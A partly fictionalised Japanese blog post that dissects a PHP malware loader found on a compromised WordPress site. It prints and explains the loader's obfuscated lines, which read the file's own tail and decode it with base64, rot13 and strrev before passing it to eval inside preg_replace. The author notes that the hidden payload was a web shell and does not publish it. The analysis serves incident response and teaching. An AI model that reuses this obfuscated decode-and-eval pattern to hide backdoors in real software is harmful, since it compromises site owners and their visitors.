[悪用厳禁] WordPressで感染してしまったマルウェアを見てみる(part1)

今回の事象は @Ayutanalects さんの[WordPressを運用中のサーバがまるごとPHPマルウェアに感染していた時の対応メモ](https://qiita.com/Ayutanalects/items/a359df4e4b445229fcf2) とほぼ同じものでした。対策など詳しく書いてくださっているのでご興味がある方はこちらを読んでみてください。

:::note warn
この記事は一部フィクションを含みます。また、実際のコードを載せようと思いましたが、危険そうな部分のマスキング作業に時間がかかりそうでしたので，スクリーンショットだけにしています。
:::

# プロローグ

## ことのはじまり

2024年11月、友人から突然メッセージが届きました。要約すると「急にサイトが表示されなくなったから助けてほしい」というものでした。どうせ彼が何かおかしな操作をしてしまったのだろうと考え、サイトの認証情報を教えてもらい、状況を確認することにしました。

## 状況

サイトは WordPress で作成されています。しかし確認してみると、サイトは一面真っ白になっており、ブラウザ上からは何も表示されません。もちろん admin 画面も表示されず、ブラウザからは何も操作できない状態でした。また、ログも記録されておらず，いつから発生していたのか特定できません。しかし不幸中の幸いで，このサイトは某有名レンタルサーバー上にホストされており、FTPやSSHでの接続は可能でした。

### やったこと

<!-- まず最初に、データベースとファイルの全バックアップを取りました。もし仮にウイルスに感染していたとしても実行ファイルは１つ１つ確認して、私のPC上では実行させないように注意すれば大丈夫だろうという考えのもの行いました。-->

WordPress、MySQL、PHPなどの各種バージョンを確認しました。何かバージョンによる issue が障害報告があってくれと願いましたが、それらしい報告は見つかりませんでした。

先ほど確認したバージョンに合わせて公式の WordPress サイトからダウンロードしたファイル群とサーバー上にあったファイル群を比較し、差分があったファイルを詳しく確認していきました。

その結果、いくつかの不思議なファイルを発見することができました。例えば以下の画像のようなプログラムでした。
![実際のコードの一部](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/432442/5640eeb4-02ba-bde1-e24e-96538c6b38ba.png)
3行目から9行目にはある企業のロゴがASCIIアートで描かれています。（この記事ではマスキングしています）
また、11行目から14行目のpackage、file、copyright、siteも、それらしく作られていました。


...........ただ！そのあとがいかにも怪しすぎる！
ってことで興味本位ですが，実際はどのようなプログラムなのか見ていきたいと思います．
（プロローグが長くなりました）

# 本題

## 1命令目

```php
$L86Rgr = explode(base64_decode("Pz4="), file_get_contents(/*******/ __FILE__));
```

初っ端から、意味不明です。

PHP の `explode()` は、第一引数の文字列で第二引数の文字列を分割し、配列を返します。

今回のコードでは，第１引数の `base64_decode("Pz4=")` が `?>` に変換されます。
そして、第２引数 `file_get_contents(/*******/ __FILE__)` は、このコード自身のファイルを文字列として扱っていることを意味します。

つまり、以下のようになり，ファイルそのものを文字列として読み取り、 `?>` で分割しろという命令です。

```php
$L86Rgr = explode("?>", {{このファイル自身}});
```

 今回のファイルでは `?>` は、スクリーンショットの `exit();` の直後にある一箇所のみでしたので，ある程度プログラムっぽい前部分と，意味が良く分からない後半部分の２要素だけの配列が作成されました。

## 2命令目

```php
$L8CRgr = array(base64_decode("L3gvaQ=="), base64_decode("eA=="), base64_decode(strrev(str_rot13($L86Rgr[1]))));
```

このコードでは、base64_decode 関数がよく使用されていますね。１つ１つデコードしていきます。

- 第1引数: 
  - `base64_decode("L3gvaQ==")` => `/x/i`
- 第2引数:
  - `base64_decode("eA==")` => `x`

- 第3引数: 
  - `$L86Rgr[1]`は、先ほど1命令目で分割したこのファイルの後半にある文字列を指します
  - `str_rot13()` は、各文字を13文字分シフトさせる関数です。アルファベット以外の文字はそのまま残します
  - `strrev()`は、文字列を逆順に並べる関数です
  - つまり、このファイルの後半の文字列（のアルファベット部分）を13文字分シフトさせ、それを逆順に並べ替えた後、すべてBASE64でデコードするという内容になります

これらを合わせると以下のようになり，要素が３の配列が作成されました。

```php
$L8CRgr = array("/x/i", "x", {{このファイルの後半の難読化された部分を復号したもの}});
```

## 3命令目

```php
preg_replace($L8CRgr[0], serialize(/****/ @eval(/****/ $L8CRgr[2])), $L8CRgr[1]);
```

`preg_replace()` 関数は、第一引数として与えられた正規表現にマッチする文字列を、第二引数の文字列に置換するという命令を、第三引数の文字列に対して行います。

少し分かりにくいですが、具体例を挙げると以下のようになります。

```php
$subject = '私はJavaが好きです';
$search = '/Java/';
$replace = 'PHP';
$subject = preg_replace($search, $replace, $subject);
echo $subject;
//実行結果：私はPHPが好きです
```

これを今回のプログラムで当てはめると、以下のようになります。

```php
preg_replace("/x/i", serialize(/****/ @eval(/****/ $L8CRgr[2])), "x");
```

`preg_replace()`は、第１引数の正規表現が`"/x/i"`なので、そのまま第３引数の"x"と完全一致します。つまり、第２引数がそのまま preg_replace() の返り値となります。

第２引数の `serialize(/****/ @eval(/****/ $L8CRgr[2]))` の部分について説明すると、`/****/`はただのコメントであり削除して構いません。また、eval の直前に付いている`@`はエラーを無視するためのもので、コード自体には直接影響しません。つまり、最終的には次のようなコードになります。

```php
serialize(eval($L8CRgr[2]))
```

このコードは $L8CRgr[2] に格納されていた文字列が `eval()` 関数によってプログラムとして実行され、実行結果がシリアライズ化されます。その結果、評価されたコードによって何かしらの影響を与えられることが推測できます。

実際、$L8CRgr[2] の文字列は WebShell（ブラウザ上で実行するシェル）のプログラムでした。
今回は無害化してコードを公開しようと思っていましたがアドベントカレンダーの時間に間に合わなかったため非公開とさせていただきます。

# まとめ

* 難読化しているだけで読めるは読める
* レンタルサーバでもログを有効化してしっかり記録しましょう
* セキュリティ対策はしっかりしましょう

今回はかなり読みにくいものになってしまいましたが，また別の記事として実施した対応策なども書いていけたらなと思います。